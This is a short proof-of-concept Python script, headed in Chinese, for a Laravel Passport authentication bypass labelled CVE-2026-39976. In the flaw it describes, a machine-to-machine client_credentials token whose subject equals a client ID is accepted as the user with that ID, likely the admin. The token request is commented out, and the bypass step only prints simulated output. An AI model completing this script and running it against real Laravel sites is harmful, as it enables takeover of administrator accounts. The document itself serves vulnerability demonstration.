CVE-2026-39976 Laravel Passport认证绕过漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-39976 # This script demonstrates the logical flaw where a Client ID matches a User ID. # It simulates the backend verification process. import requests import base64 import json # Configuration TARGET_URL = "http://localhost/api/user" CLIENT_ID = "1" # Assuming Client ID is '1', which might match User ID 1 CLIENT_SECRET = "client_secret_here" def get_token(): """ Step 1: Obtain a client_credentials token. The 'sub' claim inside the JWT will be set to '1' (the Client ID). """ auth = base64.b64encode(f"{CLIENT_ID}:{CLIENT_SECRET}".encode()).decode() headers = { "Authorization": f"Basic {auth}", "Content-Type": "application/x-www-form-urlencoded" } data = "grant_type=client_credentials" # In a real exploit, this requests the token endpoint # response = requests.post("http://localhost/oauth/token", headers=headers, data=data) # token = response.json().get('access_token') # Simulation: Assume we got a token with sub='1' print(f"[+] Obtained token with sub={CLIENT_ID}") return "fake_jwt_token_with_sub_1" def exploit_bypass(token): """ Step 2: Access user endpoint using the M2M token. The backend checks the JWT 'sub', sees '1', and calls User::find(1). If User ID 1 exists, the attacker is authenticated as that user. """ headers = { "Authorization": f"Bearer {token}", "Accept": "application/json" } # Simulation of the request print(f"[+] Sending request to {TARGET_URL} with M2M token...") print("[*] Server logic: Token Guard extracts sub='1' -> calls retrieveById('1')") print("[*] Server logic: Returns User object for ID 1 instead of rejecting Client ID 1") print("[!] SUCCESS: Authenticated as User ID 1 (likely Admin)") if __name__ == "__main__": token = get_token() exploit_bypass(token)